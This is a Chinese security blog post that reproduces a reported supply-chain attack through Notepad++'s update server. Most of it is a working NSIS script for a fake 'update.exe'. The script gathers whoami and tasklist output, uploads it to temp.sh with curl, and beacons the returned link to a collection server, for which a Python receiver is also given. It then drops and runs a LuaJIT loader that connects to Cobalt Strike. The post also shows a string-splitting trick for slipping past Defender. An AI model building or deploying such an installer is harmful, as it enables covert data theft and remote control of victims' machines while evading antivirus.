notepad++供应链攻击手法复现
原创
陆安予
陆安予
白帽子安全笔记2.0
2026年7月28日 23:14
江苏
在小说阅读器读本章
去阅读
一、这是什么?
2026年2月,Notepad的更新服务器被恶意攻击者控制,导致下发恶意软件。整体来说不难,现在我们复现这里面的操作。
本文所涉及到的资源如下:
- • 1.server.py #负责接收收集的数据
- • 2.nsis-3.12-setup.exe #NSI编译工具
- • 3.NSI脚本 #执行逻辑
- • 4.LUA加载器
- • 5.Cobalt Strike
二、技术复现
1.NSIS安装包
首先是恶意的update.exe,这是一个像msi的安装包,由NSIS编译而来,那么接下来安装NSIS编译环境。这里下载到nsis-3.12-setup.exe版本并安装。
NSIS
接下来新建一个记事本,后缀改为.nsi,命名为update.nsi,我们要使用NSIS编译它(在上述界面的第一个选项),接下来实现这个攻击脚本的核心逻辑。
2.NSI脚本实现
根据大量分析资料,整个逻辑如下:
1.创建目录%appdata%\ProShow,并将它设置为当前工作目录。那么就是如下命令:
SetShellVarContext current
CreateDirectory \"$APPDATA\\ProShow\"
SetOutPath \"$APPDATA\\ProShow\"
2.执行下述命令获取系统信息保存为1.txt。注意部分文章描述错误,两个>才能代表追加。
nsExec::Exec 'cmd /c cd /d \"$APPDATA\\ProShow\" && whoami && tasklist >> \"1.txt\"'
3.将1.txt上传到匿名托管平台temp.sh,那么就是这段代码。
nsExec::ExecToStack 'cmd /c cd /d \"$APPDATA\\ProShow\" && curl -F \"[email protected]\" -s https://temp.sh/upload'
这里需要注意,由于这个特征已被Defender记录,现在我们变形下如下:
StrCpy $2 \"temp.sh\"
nsExec::ExecToStack 'cmd /c cd /d \"$APPDATA\\ProShow\" && curl -F \"[email protected]\" -s https://$2/upload'
4.最后将temp.sh返回的地址作为User-Agent,发送HTTP请求到攻击者控制的服务器。
这里我们需要两步,第一步实现这个操作,第二步还需要做一个接收的环境。
nsExec::Exec 'cmd /c cd /d \"$APPDATA\\ProShow\" && curl --user-agent \"$1\" -s http://192.168.136.1/list'
做一个接收服务,我将使用python实现这一点,它将负责将接收的信息存储到本地。
#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
import datetime
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/list':
ua = self.headers.get('User-Agent', '')
ts = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S.%f\")[:-3]
client_ip = self.client_address[0]
with open(\"log.txt\", \"a\") as f:
f.write(f\"[{ts}] IP: {client_ip} | UA: {ua}\
\")
print(f\"[{ts}] Received from {client_ip}: {ua}\")
self.send_response(200)
self.end_headers()
if __name__ == '__main__':
print(\"Server running on http://0.0.0.0:80\")
HTTPServer(('0.0.0.0', 80), Handler).serve_forever()
开启接收服务
5.后来攻击者释放的实际是lua加载器来加载shellcode,这里我们使用lua。
经过反复打磨,最后完整NSI代码如下:
Name \"Update\"
OutFile \"update.exe\"
RequestExecutionLevel user
Section
SetShellVarContext current
CreateDirectory \"$APPDATA\\ProShow\"
SetOutPath \"$APPDATA\\ProShow\"
Sleep 1000
nsExec::Exec 'cmd /c cd /d \"$APPDATA\\ProShow\" && whoami && tasklist >> \"1.txt\"'
Sleep 1000
StrCpy $2 \"temp.sh\"
nsExec::ExecToStack 'cmd /c cd /d \"$APPDATA\\ProShow\" && curl -F \"[email protected]\" -s https://$2/upload'
Pop $0
Pop $1
Sleep 1000
nsExec::Exec 'cmd /c cd /d \"$APPDATA\\ProShow\" && curl --user-agent \"$1\" -s http://192.168.136.1/list'
Sleep 1000
File \"luajit.exe\"
File \"lua51.dll\"
File \"a.txt\"
ExecShell \"\" \"$APPDATA\\ProShow\\luajit.exe\" \"$APPDATA\\ProShow\\a.txt\"
SectionEnd
6.最后使用NSIS工具编译这个NSI脚本,它将自动打包lua套件,生成exe程序(见桌面update.exe)。
编译NSI
3.运行exe程序
运行update.exe程序
运行update.msi设置当前用户上下文创建目录 \"$APPDATA\ProShow\"工作目录 \"$APPDATA\ProShow\"获取系统信息 whoami && tasklist >> \"1.txt\"上传至temp 执行 curl -F \"[email protected]\" -s https://temp.sh/upload获取返回的URL并存入 $1发送到服务器 执行 curl --user-agent \"$1\" -s http://192.168.136.1/list释放 luajit.exe释放 lua51.dll释放 a.txt执行 luajit.exe a.txt连接 Cobalt Strike开始执行过程
而我们的server也接收到了数据并存储为log:
<<< 左右滑动看更多 >>>
通过useragent传递收集的系统信息
Cobalt Strike
三、总结
1.exe运行一定要小心,制作一个exe释放器极其简单。
2.更新服务一定不能使用HTTP,流量极其容易被中间人劫持从而导致供应链攻击。
3.AI是把双刃剑,加速了恶意代码的形成,防守难度显著提高。应加速EDR的普及,而不是传统杀毒软件。
四、免责声明
本文涉及方案仅限合法授权的安全研究、渗透测试用途,使用者须确保符合《网络安全法》及相关法规。具体条款如下:
1.仅可用于已获得书面授权的目标系统测试;
2.遵守法律法规,不得用于侵犯他人隐私或数据窃取;
本人不承担因用户滥用本软件导致的任何后果。使用即视为同意并接受上述条款。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论